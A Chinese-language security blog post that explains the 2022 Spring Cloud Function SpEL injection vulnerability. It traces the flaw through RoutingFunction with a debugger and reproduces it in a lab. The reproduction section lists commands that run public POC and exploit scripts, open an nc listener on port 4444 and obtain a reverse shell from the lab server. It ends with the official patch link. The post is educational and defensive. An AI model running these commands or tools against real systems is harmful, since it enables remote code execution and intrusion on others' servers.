网安 | SpringCloud Function SpEL漏洞
网安 | SpringCloud Function SpEL漏洞
一、漏洞简介
2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression” 参数作为SpEL表达式进行处理,造成了SpEL表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
二、基础知识
2.1 SpringCloud FunctionSpring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS,函数即服务,function as aservice),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
2.2 SpEL
SpEL(Spring Expression Language),即Spring表达式语言,一种功能强大的表达式语言,用于在运行时查询和操作对象图。
表达式语法:
三、漏洞原理
3.1 环境搭建
3.1.1 创建Spring boot项目
1. 打开IDEA,新建项目,选择 ‘Spring Initializr’。
2. 输入项目名称,选择java版本和jdk版本。
3. 选择"Web -> Spring Web"和"Spring Cloud -> Function"作为依赖项,而后生成项目。
4. 修改 pom.xml 文件中的”spring-cloud-function-web”的版本。
5. 启动项目。
6. 访问 http://localhost:8080/ 。
3.1.2 使用poc验证环境
1. 访问 http://localhost:8080/ ,使用Brup Suite抓包,构造恶意请求访问RoutingFunction功能。
2. 发送构造的恶意请求后,成功执行恶意代码,打开计算器。
3.2 漏洞分析1. 此漏洞是由Spring Cloud Function中 RoutingFunction 类的 apply 方法触发,所以我们添加断点到apply()方法处。
展开 External Libraries。
找到
springframework.cloud.function.context.config.RoutingFunction 。
在apply()方法处,添加断点。
2. 以调试模式运行,并再次使用Brup Suite发送构造的恶意请求访问RoutingFunction功能。
3. 首先请求到达 apply() 方法,而后调用 route 方法。
4. 在route()方法中,实例化一个
FunctionInvocationWrapper类 function,且赋值为null。而后判断input 对象是否为 Message实例,接着将 input 赋值给 message。
5. 之后将获取头部信息,取出
“spring.cloud.function.routing-expression”交由functionFromExpression()方法处理。
6. 进入functionFromExpression() 方法后,会调用 parseExpression() 方法去处理routingExpression。
7. 在 TemplateAwareExpressionParser 的
parseExpression() 方法中,进行相应判断处理后,会继续调用doParseExpression() 方法处理 routingExpression。
8. 在 SpelExpressionParser 的 doParseExpression() 方法中,又会调用InternalSpelExpressionParser 的 doParseExpression() 方法。
9. 接着会对 token 进行处理判断,而后根据我们传入的 routing-expression 生成并返回SpelExpression 实例化对象。
10. 在 SpelExpression() 方法中会将 routing-expression 赋值给 this.expression 。
11. 随后回到 functionFromExpression() 方法,将 input 的头部结构做不区分大小写的处理。
12. 而后会调用 expression 的 getValue() 方法,该方法会执行头部信息中我们输入的 routingexpression 值 (SpEL表达式),去调用 java.lang.Runtime 类的 getRuntime()下的exec()方法去执行calc,启动计算器。
四、复现过程
4.1 实验环境
被攻击服务器主机:CentOS7(192.168.219.185)
漏洞环境:SpringCloud-Function-0.0.1-SNAPSHOT.jar,
https://github.com/N1ce759/Spring-CloudFunction-SPEL-RCE
攻击者主机:kali(192.168.219.134)
漏洞利用工具工具:Spring-cloud-function-SpEL-RCE ,
https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
4.2 实验过程
1. 安装漏洞环境下载安装JDK 15,此处使用rpm安装 jdk-15.0.2_linux-x64_bin.rpm,下载地址
(https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html)
rpm -ivh jdk-15.0.2_linux-x64_bin.rpm
下载SpringCloud-Function-0.0.1-SNAPSHOT.jar,下载地址
(https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE)
解压下载的压缩包。
运行漏洞环境。
java -jar SpringCloud-Function-0.0.1-SNAPSHOT.jar
使用浏览器访问URL:http://192.168.219.185:9000/
2. 下载漏洞利用工具 (https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE),检测并利用漏洞获取反弹shell。 检测漏洞。 创建url.txt,插入想要扫描的url地址,可以是多个。 echo "http://192.168.219.185:9000/" > url.txt
使用脚本进行扫描。 python3 Spel_RCE_POC.py url.txt
获取反弹shell。
使用nc开启4444端口监听。
nc -lvp 4444
使用exp获取反弹shell。
python3 Spel_RCE_Bash_EXP.py http://192.168.219.185:9000/ 192.168.219.134 4444
成功获取反弹shell。
五、修复措施 1. 官方已发布补丁,官方链接: https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f 。 六、参考文章 1、SpringCloud Function SPEL漏洞分析 (https://www.cnblogs.com/wh4am1/p/16062306.html) 2、SpringCloud Function SpEL漏洞环境搭建+漏洞复现 (https://blog.csdn.net/Moyun_vackbot/article/details/123821293) 3、spring中的SpEL表达式 (https://www.jianshu.com/p/61f7c6fe03ec) 4、Spring-Cloud-SpEL-表达式注入漏洞复现 (https://www.cnblogs.com/ta1zi/p/16073257.html)
登录
前往注册账号注册
注册成功,默认密码已通过短信发送给您
欢迎来到蜗牛学苑~
我们仍旧想要当初想要的不一样,世间浮沉,到最后还是想要和当初想要的和别人不一样。
3小时前 2人点赞